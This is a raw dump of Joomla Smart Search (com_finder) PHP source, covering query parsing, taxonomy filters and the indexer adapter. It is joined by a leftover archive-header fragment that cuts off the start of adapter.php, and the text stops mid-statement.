if (!empty($this->filters)) { foreach ($this->filters as $nodes) { foreach ($nodes as $node) { if (!in_array($node, $t)) { continue; } $uri->setVar('t[]', $node); } } } // Add the input string if present. if (!empty($this->input)) { $uri->setVar('q', $this->input); } // Add the start date if present. if (!empty($this->date1)) { $uri->setVar('d1', $this->date1); } // Add the end date if present. if (!empty($this->date2)) { $uri->setVar('d2', $this->date2); } // Add the start date modifier if present. if (!empty($this->when1)) { $uri->setVar('w1', $this->when1); } // Add the end date modifier if present. if (!empty($this->when2)) { $uri->setVar('w2', $this->when2); } // Add a menu item id if one is not present. if (!$uri->getVar('Itemid')) { // Get the menu item id. $query = array( 'view' => $uri->getVar('view'), 'f' => $uri->getVar('f'), 'q' => $uri->getVar('q') ); $item = FinderHelperRoute::getItemid($query); // Add the menu item id if present. if ($item !== null) { $uri->setVar('Itemid', $item); } } return $uri->toString(array('path', 'query')); } /** * Method to get a list of excluded search term ids. * * @return array An array of excluded term ids. * * @since 2.5 */ public function getExcludedTermIds() { $results = array(); // Iterate through the excluded tokens and compile the matching terms. for ($i = 0, $c = count($this->excluded); $i < $c; $i++) { $results = array_merge($results, $this->excluded[$i]->matches); } // Sanitize the terms. //@TODO: Should toInteger use $return? $return = array_unique($results); JArrayHelper::toInteger($results); return $results; } /** * Method to get a list of included search term ids. * * @return array An array of included term ids. * * @since 2.5 */ public function getIncludedTermIds() { $results = array(); // Iterate through the included tokens and compile the matching terms. for ($i = 0, $c = count($this->included); $i < $c; $i++) { // Check if we have any terms. if (empty($this->included[$i]->matches)) { continue; } // Get the term. $term = $this->included[$i]->term; // Prepare the container for the term if necessary. if (!array_key_exists($term, $results)) { $results[$term] = array(); } // Add the matches to the stack. $results[$term] = array_merge($results[$term], $this->included[$i]->matches); } // Sanitize the terms. foreach ($results as $key => $value) { $results[$key] = array_unique($results[$key]); JArrayHelper::toInteger($results[$key]); } return $results; } /** * Method to get a list of required search term ids. * * @return array An array of required term ids. * * @since 2.5 */ public function getRequiredTermIds() { $results = array(); // Iterate through the included tokens and compile the matching terms. for ($i = 0, $c = count($this->included); $i < $c; $i++) { // Check if the token is required. if ($this->included[$i]->required) { // Get the term. $term = $this->included[$i]->term; // Prepare the container for the term if necessary. if (!array_key_exists($term, $results)) { $results[$term] = array(); } // Add the matches to the stack. $results[$term] = array_merge($results[$term], $this->included[$i]->matches); } } // Sanitize the terms. foreach ($results as $key => $value) { $results[$key] = array_unique($results[$key]); JArrayHelper::toInteger($results[$key]); } return $results; } /** * Method to process the static taxonomy input. The static taxonomy input * comes in the form of a pre-defined search filter that is assigned to the * search form. * * @param integer $filterId The id of static filter. * * @return boolean True on success, false on failure. * * @since 2.5 * @throws Exception on database error. */ protected function processStaticTaxonomy($filterId) { // Get the database object. $db = JFactory::getDBO(); // Initialize user variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Load the predefined filter. $query = $db->getQuery(true); $query->select('f.' . $db->quoteName('data') . ', f.' . $db->quoteName('params')); $query->from($db->quoteName('#__finder_filters') . ' AS f'); $query->where('f.' . $db->quoteName('filter_id') . ' = ' . (int) $filterId); $db->setQuery($query); $return = $db->loadObject(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Check the returned filter. if (empty($return)) { return false; } // Set the filter. $this->filter = (int) $filterId; // Get a parameter object for the filter date options. $registry = new JRegistry; $registry->loadString($return->params); $params = $registry; // Set the dates if not already set. $this->dates->def('date1', $params->get('d1')); $this->dates->def('date2', $params->get('d2')); $this->dates->def('when1', $params->get('w1')); $this->dates->def('when2', $params->get('w2')); // Remove duplicates and sanitize. $filters = explode(',', $return->data); $filters = array_unique($filters); JArrayHelper::toInteger($filters); // Remove any values of zero. if (array_search(0, $filters, true) !== false) { unset($filters[array_search(0, $filters, true)]); } // Check if we have any real input. if (empty($filters)) { return true; } /* * Create the query to get filters from the database. We do this for * two reasons: one, it allows us to ensure that the filters being used * are real; two, we need to sort the filters by taxonomy branch. */ $query->clear(); $query->select('t1.id, t1.title, t2.title AS branch'); $query->from($db->quoteName('#__finder_taxonomy') . ' AS t1'); $query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id'); $query->where('t1.state = 1'); $query->where('t1.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $query->where('t1.id IN (' . implode(',', $filters) . ')'); $query->where('t2.state = 1'); $query->where('t2.' . $db->quoteName('access') . ' IN (' . $groups . ')'); // Load the filters. $db->setQuery($query); $results = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Sort the filter ids by branch. foreach ($results as $result) { $this->filters[$result->branch][$result->title] = (int) $result->id; } return true; } /** * Method to process the dynamic taxonomy input. The dynamic taxonomy input * comes in the form of select fields that the user chooses from. The * dynamic taxonomy input is processed AFTER the static taxonomy input * because the dynamic options can be used to further narrow a static * taxonomy filter. * * @param array $filters An array of taxonomy node ids. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected function processDynamicTaxonomy($filters) { // Initialize user variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Remove duplicates and sanitize. $filters = array_unique($filters); JArrayHelper::toInteger($filters); // Remove any values of zero. if (array_search(0, $filters, true) !== false) { unset($filters[array_search(0, $filters, true)]); } // Check if we have any real input. if (empty($filters)) { return true; } // Get the database object. $db = JFactory::getDBO(); $query = $db->getQuery(true); /* * Create the query to get filters from the database. We do this for * two reasons: one, it allows us to ensure that the filters being used * are real; two, we need to sort the filters by taxonomy branch. */ $query->select('t1.id, t1.title, t2.title AS branch'); $query->from($db->quoteName('#__finder_taxonomy') . ' AS t1'); $query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id'); $query->where('t1.state = 1'); $query->where('t1.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $query->where('t1.id IN (' . implode(',', $filters) . ')'); $query->where('t2.state = 1'); $query->where('t2.' . $db->quoteName('access') . ' IN (' . $groups . ')'); // Load the filters. $db->setQuery($query); $results = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Cleared filter branches. $cleared = array(); /* * Sort the filter ids by branch. Because these filters are designed to * override and further narrow the items selected in the static filter, * we will clear the values from the static filter on a branch by * branch basis before adding the dynamic filters. So, if the static * filter defines a type filter of "articles" and three "category" * filters but the user only limits the category further, the category * filters will be flushed but the type filters will not. */ foreach ($results as $result) { // Check if the branch has been cleared. if (!in_array($result->branch, $cleared)) { // Clear the branch. $this->filters[$result->branch] = array(); // Add the branch to the cleared list. $cleared[] = $result->branch; } // Add the filter to the list. $this->filters[$result->branch][$result->title] = (int) $result->id; } return true; } /** * Method to process the query date filters to determine start and end * date limitations. * * @param string $date1 The first date filter. * @param string $date2 The second date filter. * @param string $when1 The first date modifier. * @param string $when2 The second date modifier. * * @return boolean True on success. * * @since 2.5 */ protected function processDates($date1, $date2, $when1, $when2) { // Clean up the inputs. $date1 = JString::trim(JString::strtolower($date1)); $date2 = JString::trim(JString::strtolower($date2)); $when1 = JString::trim(JString::strtolower($when1)); $when2 = JString::trim(JString::strtolower($when2)); // Get the time offset. $offset = JFactory::getApplication()->getCfg('offset'); // Array of allowed when values. $whens = array('before', 'after', 'exact'); // The value of 'today' is a special case that we need to handle. if ($date1 === JString::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY'))) { $today = JFactory::getDate('now', $offset); $date1 = $today->format('%Y-%m-%d'); } // Try to parse the date string. $date = JFactory::getDate($date1, $offset); // Check if the date was parsed successfully. if ($date->toUnix() !== null) { // Set the date filter. $this->date1 = $date->toSQL(); $this->when1 = in_array($when1, $whens) ? $when1 : 'before'; } // The value of 'today' is a special case that we need to handle. if ($date2 === JString::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY'))) { $today = JFactory::getDate('now', $offset); $date2 = $today->format('%Y-%m-%d'); } // Try to parse the date string. $date = JFactory::getDate($date2, $offset); // Check if the date was parsed successfully. if ($date->toUnix() !== null) { // Set the date filter. $this->date2 = $date->toSQL(); $this->when2 = in_array($when2, $whens) ? $when2 : 'before'; } return true; } /** * Method to process the query input string and extract required, optional, * and excluded tokens; taxonomy filters; and date filters. * * @param string $input The query input string. * @param string $lang The query input language. * @param string $mode The query matching mode. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected function processString($input, $lang, $mode) { // Clean up the input string. $input = html_entity_decode($input, ENT_QUOTES, 'UTF-8'); $input = JString::strtolower($input); $input = preg_replace('#\s+#mi', ' ', $input); $input = JString::trim($input); $debug = JFactory::getConfig()->get('debug_lang'); /* * First, we need to handle string based modifiers. String based * modifiers could potentially include things like "category:blah" or * "before:2009-10-21" or "type:article", etc. */ $patterns = array( 'before' => JText::_('COM_FINDER_FILTER_WHEN_BEFORE'), 'after' => JText::_('COM_FINDER_FILTER_WHEN_AFTER') ); // Add the taxonomy branch titles to the possible patterns. foreach (FinderIndexerTaxonomy::getBranchTitles() as $branch) { // Add the pattern. $patterns[$branch] = JString::strtolower(JText::_(FinderHelperLanguage::branchSingular($branch))); } // Container for search terms and phrases. $terms = array(); $phrases = array(); // Cleared filter branches. $cleared = array(); /* * Compile the suffix pattern. This is used to match the values of the * filter input string. Single words can be input directly, multi-word * values have to be wrapped in double quotes. */ $quotes = html_entity_decode('‘’'', ENT_QUOTES, 'UTF-8'); $suffix = '(([\w\d' . $quotes . '-]+)|\"([\w\d\s' . $quotes . '-]+)\")'; /* * Iterate through the possible filter patterns and search for matches. * We need to match the key, colon, and a value pattern for the match * to be valid. */ foreach ($patterns as $modifier => $pattern) { $matches = array(); if ($debug) { $pattern = substr($pattern, 2, -2); } // Check if the filter pattern is in the input string. if (preg_match('#' . $pattern . '\s*:\s*' . $suffix . '#mi', $input, $matches)) { // Get the value given to the modifier. $value = isset($matches[3]) ? $matches[3] : $matches[1]; // Now we have to handle the filter string. switch ($modifier) { // Handle a before and after date filters. case 'before': case 'after': { // Get the time offset. $offset = JFactory::getApplication()->getCfg('offset'); // Array of allowed when values. $whens = array('before', 'after', 'exact'); // The value of 'today' is a special case that we need to handle. if ($value === JString::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY'))) { $today = JFactory::getDate('now', $offset); $value = $today->format('%Y-%m-%d'); } // Try to parse the date string. $date = JFactory::getDate($value, $offset); // Check if the date was parsed successfully. if ($date->toUnix() !== null) { // Set the date filter. $this->date1 = $date->toSQL(); $this->when1 = in_array($modifier, $whens) ? $modifier : 'before'; } break; } // Handle a taxonomy branch filter. default: { // Try to find the node id. $return = FinderIndexerTaxonomy::getNodeByTitle($modifier, $value); // Check if the node id was found. if ($return) { // Check if the branch has been cleared. if (!in_array($modifier, $cleared)) { // Clear the branch. $this->filters[$modifier] = array(); // Add the branch to the cleared list. $cleared[] = $modifier; } // Add the filter to the list. $this->filters[$modifier][$return->title] = (int) $return->id; } break; } } // Clean up the input string again. $input = str_replace($matches[0], '', $input); $input = preg_replace('#\s+#mi', ' ', $input); $input = JString::trim($input); } } /* * Extract the tokens enclosed in double quotes so that we can handle * them as phrases. */ if (JString::strpos($input, '"') !== false) { $matches = array(); // Extract the tokens enclosed in double quotes. if (preg_match_all('#\"([^"]+)\"#mi', $input, $matches)) { /* * One or more phrases were found so we need to iterate through * them, tokenize them as phrases, and remove them from the raw * input string before we move on to the next processing step. */ foreach ($matches[1] as $key => $match) { // Find the complete phrase in the input string. $pos = JString::strpos($input, $matches[0][$key]); $len = JString::strlen($matches[0][$key]); // Add any terms that are before this phrase to the stack. if (JString::trim(JString::substr($input, 0, $pos))) { $terms = array_merge($terms, explode(' ', JString::trim(JString::substr($input, 0, $pos)))); } // Strip out everything up to and including the phrase. $input = JString::substr($input, $pos + $len); // Clean up the input string again. $input = preg_replace('#\s+#mi', ' ', $input); $input = JString::trim($input); // Get the number of words in the phrase. $parts = explode(' ', $match); // Check if the phrase is longer than three words. if (count($parts) > 3) { /* * If the phrase is longer than three words, we need to * break it down into smaller chunks of phrases that * are less than or equal to three words. We overlap * the chunks so that we can ensure that a match is * found for the complete phrase and not just portions * of it. */ for ($i = 0, $c = count($parts); $i < $c; $i += 2) { // Set up the chunk. $chunk = array(); // The chunk has to be assembled based on how many // pieces are available to use. switch ($c - $i) { // If only one word is left, we can break from // the switch and loop because the last word // was already used at the end of the last // chunk. case 1: break 2; // If there words are left, we use them both as // the last chunk of the phrase and we're done. case 2: $chunk[] = $parts[$i]; $chunk[] = $parts[$i + 1]; break; // If there are three or more words left, we // build a three word chunk and continue on. default: $chunk[] = $parts[$i]; $chunk[] = $parts[$i + 1]; $chunk[] = $parts[$i + 2]; break; } // If the chunk is not empty, add it as a phrase. if (count($chunk)) { $phrases[] = implode(' ', $chunk); $terms[] = implode(' ', $chunk); } } } else { // The phrase is <= 3 words so we can use it as is. $phrases[] = $match; $terms[] = $match; } } } } // Add the remaining terms if present. if (!empty($input)) { $terms = array_merge($terms, explode(' ', $input)); } // An array of our boolean operators. $operator => $translation $operators = array( 'AND' => JString::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_AND')), 'OR' => JString::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_OR')), 'NOT' => JString::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_NOT')) ); // If language debugging is enabled you need to ignore the debug strings in matching. if (JDEBUG) { $debugStrings = array('**', '??'); $operators = str_replace($debugStrings, '', $operators); } /* * Iterate through the terms and perform any sorting that needs to be * done based on boolean search operators. Terms that are before an * and/or/not modifier have to be handled in relation to their operator. */ for ($i = 0, $c = count($terms); $i < $c; $i++) { // Check if the term is followed by an operator that we understand. if (isset($terms[$i + 1]) && in_array($terms[$i + 1], $operators)) { // Get the operator mode. $op = array_search($terms[$i + 1], $operators); // Handle the AND operator. if ($op === 'AND' && isset($terms[$i + 2])) { // Tokenize the current term. $token = FinderIndexerHelper::tokenize($terms[$i], $lang, true); $token = $this->getTokenData($token); // Set the required flag. $token->required = true; // Add the current token to the stack. $this->included[] = $token; $this->highlight = array_merge($this->highlight, array_keys($token->matches)); // Skip the next token (the mode operator). $this->operators[] = $terms[$i + 1]; // Tokenize the term after the next term (current plus two). $other = FinderIndexerHelper::tokenize($terms[$i + 2], $lang, true); $other = $this->getTokenData($other); // Set the required flag. $other->required = true; // Add the token after the next token to the stack. $this->included[] = $other; $this->highlight = array_merge($this->highlight, array_keys($other->matches)); // Remove the processed phrases if possible. if (($pk = array_search($terms[$i], $phrases)) !== false) { unset($phrases[$pk]); } if (($pk = array_search($terms[$i + 2], $phrases)) !== false) { unset($phrases[$pk]); } // Remove the processed terms. unset($terms[$i]); unset($terms[$i + 1]); unset($terms[$i + 2]); // Adjust the loop. $i += 2; continue; } // Handle the OR operator. elseif ($op === 'OR' && isset($terms[$i + 2])) { // Tokenize the current term. $token = FinderIndexerHelper::tokenize($terms[$i], $lang, true); $token = $this->getTokenData($token); // Set the required flag. $token->required = false; // Add the current token to the stack. if (count($token->matches)) { $this->included[] = $token; $this->highlight = array_merge($this->highlight, array_keys($token->matches)); } else { $this->ignored[] = $token; } // Skip the next token (the mode operator). $this->operators[] = $terms[$i + 1]; // Tokenize the term after the next term (current plus two). $other = FinderIndexerHelper::tokenize($terms[$i + 2], $lang, true); $other = $this->getTokenData($other); // Set the required flag. $other->required = false; // Add the token after the next token to the stack. if (count($other->matches)) { $this->included[] = $other; $this->highlight = array_merge($this->highlight, array_keys($other->matches)); } else { $this->ignored[] = $other; } // Remove the processed phrases if possible. if (($pk = array_search($terms[$i], $phrases)) !== false) { unset($phrases[$pk]); } if (($pk = array_search($terms[$i + 2], $phrases)) !== false) { unset($phrases[$pk]); } // Remove the processed terms. unset($terms[$i]); unset($terms[$i + 1]); unset($terms[$i + 2]); // Adjust the loop. $i += 2; continue; } } // Handle an orphaned OR operator. elseif (isset($terms[$i + 1]) && array_search($terms[$i], $operators) === 'OR') { // Skip the next token (the mode operator). $this->operators[] = $terms[$i]; // Tokenize the next term (current plus one). $other = FinderIndexerHelper::tokenize($terms[$i + 1], $lang, true); $other = $this->getTokenData($other); // Set the required flag. $other->required = false; // Add the token after the next token to the stack. if (count($other->matches)) { $this->included[] = $other; $this->highlight = array_merge($this->highlight, array_keys($other->matches)); } else { $this->ignored[] = $other; } // Remove the processed phrase if possible. if (($pk = array_search($terms[$i + 1], $phrases)) !== false) { unset($phrases[$pk]); } // Remove the processed terms. unset($terms[$i]); unset($terms[$i + 1]); // Adjust the loop. $i += 1; continue; } // Handle the NOT operator. elseif (isset($terms[$i + 1]) && array_search($terms[$i], $operators) === 'NOT') { // Skip the next token (the mode operator). $this->operators[] = $terms[$i]; // Tokenize the next term (current plus one). $other = FinderIndexerHelper::tokenize($terms[$i + 1], $lang, true); $other = $this->getTokenData($other); // Set the required flag. $other->required = false; // Add the next token to the stack. if (count($other->matches)) { $this->excluded[] = $other; } else { $this->ignored[] = $other; } // Remove the processed phrase if possible. if (($pk = array_search($terms[$i + 1], $phrases)) !== false) { unset($phrases[$pk]); } // Remove the processed terms. unset($terms[$i]); unset($terms[$i + 1]); // Adjust the loop. $i += 1; continue; } } /* * Iterate through any search phrases and tokenize them. We handle * phrases as autonomous units and do not break them down into two and * three word combinations. */ for ($i = 0, $c = count($phrases); $i < $c; $i++) { // Tokenize the phrase. $token = FinderIndexerHelper::tokenize($phrases[$i], $lang, true); $token = $this->getTokenData($token); // Set the required flag. $token->required = true; // Add the current token to the stack. $this->included[] = $token; $this->highlight = array_merge($this->highlight, array_keys($token->matches)); // Remove the processed term if possible. if (($pk = array_search($phrases[$i], $terms)) !== false) { unset($terms[$pk]); } // Remove the processed phrase. unset($phrases[$i]); } /* * Handle any remaining tokens using the standard processing mechanism. */ if (!empty($terms)) { // Tokenize the terms. $terms = implode(' ', $terms); $tokens = FinderIndexerHelper::tokenize($terms, $lang, false); // Make sure we are working with an array. $tokens = is_array($tokens) ? $tokens : array($tokens); // Get the token data and required state for all the tokens. foreach ($tokens as $token) { // Get the token data. $token = $this->getTokenData($token); // Set the required flag for the token. $token->required = $mode === 'AND' ? ($token->phrase ? false : true) : false; // Add the token to the appropriate stack. if (count($token->matches) || $token->required) { $this->included[] = $token; $this->highlight = array_merge($this->highlight, array_keys($token->matches)); } else { $this->ignored[] = $token; } } } return true; } /** * Method to get the base and similar term ids and, if necessary, suggested * term data from the database. The terms ids are identified based on a * 'like' match in MySQL and/or a common stem. If no term ids could be * found, then we know that we will not be able to return any results for * that term and we should try to find a similar term to use that we can * match so that we can suggest the alternative search query to the user. * * @param FinderIndexerToken $token A FinderIndexerToken object. * * @return FinderIndexerToken A FinderIndexerToken object. * * @since 2.5 * @throws Exception on database error. */ protected function getTokenData($token) { // Get the database object. $db = JFactory::getDBO(); // Create a database query to build match the token. $query = $db->getQuery(true); $query->select('t.term, t.term_id'); $query->from('#__finder_terms AS t'); /* * If the token is a phrase, the lookup process is fairly simple. If * the token is a word, it is a little more complicated. We have to * create two queries to lookup the term and the stem respectively, * then union the result sets together. This is MUCH faster than using * an or condition in the database query. */ if ($token->phrase) { // Add the phrase to the query. $query->where('t.term = ' . $db->quote($token->term)); $query->where('t.phrase = 1'); } else { // Add the term to the query. $query->where('t.term = ' . $db->quote($token->term)); $query->where('t.phrase = 0'); // Clone the query, replace the WHERE clause. $sub = clone($query); $sub->clear('where'); $sub->where('t.stem = '.$db->quote($token->stem)); $sub->where('t.phrase = 0'); // Union the two queries. $query->union($sub); // $query->where('(t.term = ' . $db->quote($token->term) . ' OR t.stem = ' . $db->quote($token->stem) . ')'); // $query->where('t.phrase = 0'); } // Get the terms. $db->setQuery($query); $matches = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Setup the container. $token->matches = array(); // Check the matching terms. if (!empty($matches)) { // Add the matches to the token. for ($i = 0, $c = count($matches); $i < $c; $i++) { $token->matches[$matches[$i]->term] = (int) $matches[$i]->term_id; } } // If no matches were found, try to find a similar but better token. if (empty($token->matches)) { // Create a database query to get the similar terms. //@TODO: PostgreSQL doesn't support SOUNDEX out of the box $query->clear(); $query->select('DISTINCT t.term_id AS id, t.term AS term'); $query->from('#__finder_terms AS t'); //$query->where('t.soundex = ' . soundex($db->quote($token->term))); $query->where('t.soundex = SOUNDEX(' . $db->quote($token->term) . ')'); $query->where('t.phrase = ' . (int) $token->phrase); // Get the terms. $db->setQuery($query); $results = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Check if any similar terms were found. if (empty($results)) { return $token; } // Stack for sorting the similar terms. $suggestions = array(); // Get the levnshtein distance for all suggested terms. foreach ($results as $sk => $st) { // Get the levenshtein distance between terms. $distance = levenshtein($st->term, $token->term); // Make sure the levenshtein distance isn't over 50. if ($distance < 50) { $suggestions[$sk] = $distance; } } // Sort the suggestions. asort($suggestions, SORT_NUMERIC); // Get the closest match. $keys = array_keys($suggestions); $key = $keys[0]; // Add the suggested term. $token->suggestion = $results[$key]->term; } return $token; } } PK@y>\|/^/^1components/com_finder/helpers/indexer/adapter.phpnuW+Adb = JFactory::getDBO(); // Call the parent constructor. parent::__construct($subject, $config); // Get the type id. $this->type_id = $this->getTypeId(); // Add the content type if it doesn't exist and is set. if (empty($this->type_id) && !empty($this->type_title)) { $this->type_id = FinderIndexerHelper::addContentType($this->type_title, $this->mime); } // Check for a layout override. if ($this->params->get('layout')) { $this->layout = $this->params->get('layout'); } } /** * Method to get the adapter state and push it into the indexer. * * @return boolean True on success. * * @since 2.5 * @throws Exception on error. */ public function onStartIndex() { JLog::add('FinderIndexerAdapter::onStartIndex', JLog::INFO); // Get the indexer state. $iState = FinderIndexer::getState(); // Get the number of content items. $total = (int) $this->getContentCount(); // Add the content count to the total number of items. $iState->totalItems += $total; // Populate the indexer state information for the adapter. $iState->pluginState[$this->context]['total'] = $total; $iState->pluginState[$this->context]['offset'] = 0; // Set the indexer state. FinderIndexer::setState($iState); } /** * Method to prepare for the indexer to be run. This method will often * be used to include dependencies and things of that nature. * * @return boolean True on success. * * @since 2.5 * @throws Exception on error. */ public function onBeforeIndex() { JLog::add('FinderIndexerAdapter::onBeforeIndex', JLog::INFO); // Get the indexer and adapter state. $iState = FinderIndexer::getState(); $aState = $iState->pluginState[$this->context]; // Check the progress of the indexer and the adapter. if ($iState->batchOffset == $iState->batchSize || $aState['offset'] == $aState['total']) { return true; } // Run the setup method. return $this->setup(); } /** * Method to index a batch of content items. This method can be called by * the indexer many times throughout the indexing process depending on how * much content is available for indexing. It is important to track the * progress correctly so we can display it to the user. * * @return boolean True on success. * * @since 2.5 * @throws Exception on error. */ public function onBuildIndex() { JLog::add('FinderIndexerAdapter::onBuildIndex', JLog::INFO); // Get the indexer and adapter state. $iState = FinderIndexer::getState(); $aState = $iState->pluginState[$this->context]; // Check the progress of the indexer and the adapter. if ($iState->batchOffset == $iState->batchSize || $aState['offset'] == $aState['total']) { return true; } // Get the batch offset and size. $offset = (int) $aState['offset']; $limit = (int) ($iState->batchSize - $iState->batchOffset); // Get the content items to index. $items = $this->getItems($offset, $limit); // Iterate through the items and index them. for ($i = 0, $n = count($items); $i < $n; $i++) { // Index the item. $this->index($items[$i]); // Adjust the offsets. $offset++; $iState->batchOffset++; $iState->totalItems--; } // Update the indexer state. $aState['offset'] = $offset; $iState->pluginState[$this->context] = $aState; FinderIndexer::setState($iState); return true; } /** * Method to change the value of a content item's property in the links * table. This is used to synchronize published and access states that * are changed when not editing an item directly. * * @param string $id The ID of the item to change. * @param string $property The property that is being changed. * @param integer $value The new value of that property. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected function change($id, $property, $value) { JLog::add('FinderIndexerAdapter::change', JLog::INFO); // Check for a property we know how to handle. if ($property !== 'state' && $property !== 'access') { return true; } // Get the url for the content id. $item = $this->db->quote($this->getUrl($id, $this->extension, $this->layout)); // Update the content items. $query = $this->db->getQuery(true); $query->update($this->db->quoteName('#__finder_links')); $query->set($this->db->quoteName($property) . ' = ' . (int) $value); $query->where($this->db->quoteName('url') . ' = ' . $item); $this->db->setQuery($query); $this->db->query(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } return true; } /** * Method to index an item. * * @param FinderIndexerResult $item The item to index as a FinderIndexerResult object. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ abstract protected function index(FinderIndexerResult $item); /** * Method to reindex an item. * * @param integer $id The ID of the item to reindex. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected function reindex($id) { // Run the setup method. $this->setup(); // Remove the old item. $this->remove($id); // Get the item. $item = $this->getItem($id); // Index the item. $this->index($item); } /** * Method to remove an item from the index. * * @param string $id The ID of the item to remove. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected function remove($id) { JLog::add('FinderIndexerAdapter::remove', JLog::INFO); // Get the item's URL $url = $this->db->quote($this->getUrl($id, $this->extension, $this->layout)); // Get the link ids for the content items. $query = $this->db->getQuery(true); $query->select($this->db->quoteName('link_id')); $query->from($this->db->quoteName('#__finder_links')); $query->where($this->db->quoteName('url') . ' = ' . $url); $this->db->setQuery($query); $items = $this->db->loadColumn(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } // Check the items. if (empty($items)) { return true; } // Remove the items. foreach ($items as $item) { FinderIndexer::remove($item); } return true; } /** * Method to setup the adapter before indexing. * * @return boolean True on success, false on failure. * * @since 2.5 * @throws Exception on database error. */ abstract protected function setup(); /** * Method to update index data on category access level changes * * @param JTable $row A JTable object * * @return void * * @since 2.5 */ protected function categoryAccessChange($row) { $sql = clone($this->getStateQuery()); $sql->where('c.id = ' . (int) $row->id); // Get the access level. $this->db->setQuery($sql); $items = $this->db->loadObjectList(); // Adjust the access level for each item within the category. foreach ($items as $item) { // Set the access level. $temp = max($item->access, $row->access); // Update the item. $this->change((int) $item->id, 'access', $temp); // Reindex the item $this->reindex($item->id); } } /** * Method to update index data on category access level changes * * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ protected function categoryStateChange($pks, $value) { // The item's published state is tied to the category // published state so we need to look up all published states // before we change anything. foreach ($pks as $pk) { $sql = clone($this->getStateQuery()); $sql->where('c.id = ' . (int) $pk); // Get the published states. $this->db->setQuery($sql); $items = $this->db->loadObjectList(); // Adjust the state for each item within the category. foreach ($items as $item) { // Translate the state. $temp = $this->translateState($item->state, $value); // Update the item. $this->change($item->id, 'state', $temp); // Reindex the item $this->reindex($item->id); } } } /** * Method to check the existing access level for categories * * @param JTable $row A JTable object * * @return void * * @since 2.5 */ protected function checkCategoryAccess($row) { $query = $this->db->getQuery(true); $query->select($this->db->quoteName('access')); $query->from($this->db->quoteName('#__categories')); $query->where($this->db->quoteName('id') . ' = ' . (int)$row->id); $this->db->setQuery($query); // Store the access level to determine if it changes $this->old_cataccess = $this->db->loadResult(); } /** * Method to check the existing access level for items * * @param JTable $row A JTable object * * @return void * * @since 2.5 */ protected function checkItemAccess($row) { $query = $this->db->getQuery(true); $query->select($this->db->quoteName('access')); $query->from($this->db->quoteName($this->table)); $query->where($this->db->quoteName('id') . ' = ' . (int)$row->id); $this->db->setQuery($query); // Store the access level to determine if it changes $this->old_access = $this->db->loadResult(); } /** * Method to get the number of content items available to index. * * @return integer The number of content items available to index. * * @since 2.5 * @throws Exception on database error. */ protected function getContentCount() { JLog::add('FinderIndexerAdapter::getContentCount', JLog::INFO); $return = 0; // Get the list query. $sql = $this->getListQuery(); // Check if the query is valid. if (empty($sql)) { return $return; } // Tweak the SQL query to make the total lookup faster. if ($sql instanceof JDatabaseQuery) { $sql = clone($sql); $sql->clear('select'); $sql->select('COUNT(*)'); $sql->clear('order'); } // Get the total number of content items to index. $this->db->setQuery($sql); $return = (int) $this->db->loadResult(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } return $return; } /** * Method to get a content item to index. * * @param integer $id The id of the content item. * * @return FinderIndexerResult A FinderIndexerResult object. * * @since 2.5 * @throws Exception on database error. */ protected function getItem($id) { JLog::add('FinderIndexerAdapter::getItem', JLog::INFO); // Get the list query and add the extra WHERE clause. $sql = $this->getListQuery(); $sql->where('a.' . $this->db->quoteName('id') . ' = ' . (int) $id); // Get the item to index. $this->db->setQuery($sql); $row = $this->db->loadAssoc(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } // Convert the item to a result object. $item = JArrayHelper::toObject($row, 'FinderIndexerResult'); // Set the item type. $item->type_id = $this->type_id; // Set the item layout. $item->layout = $this->layout; return $item; } /** * Method to get a list of content items to index. * * @param integer $offset The list offset. * @param integer $limit The list limit. * @param JDatabaseQuery $sql A JDatabaseQuery object. [optional] * * @return array An array of FinderIndexerResult objects. * * @since 2.5 * @throws Exception on database error. */ protected function getItems($offset, $limit, $sql = null) { JLog::add('FinderIndexerAdapter::getItems', JLog::INFO); $items = array(); // Get the content items to index. $this->db->setQuery($this->getListQuery($sql), $offset, $limit); $rows = $this->db->loadAssocList(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } // Convert the items to result objects. foreach ($rows as $row) { // Convert the item to a result object. $item = JArrayHelper::toObject($row, 'FinderIndexerResult'); // Set the item type. $item->type_id = $this->type_id; // Set the mime type. $item->mime = 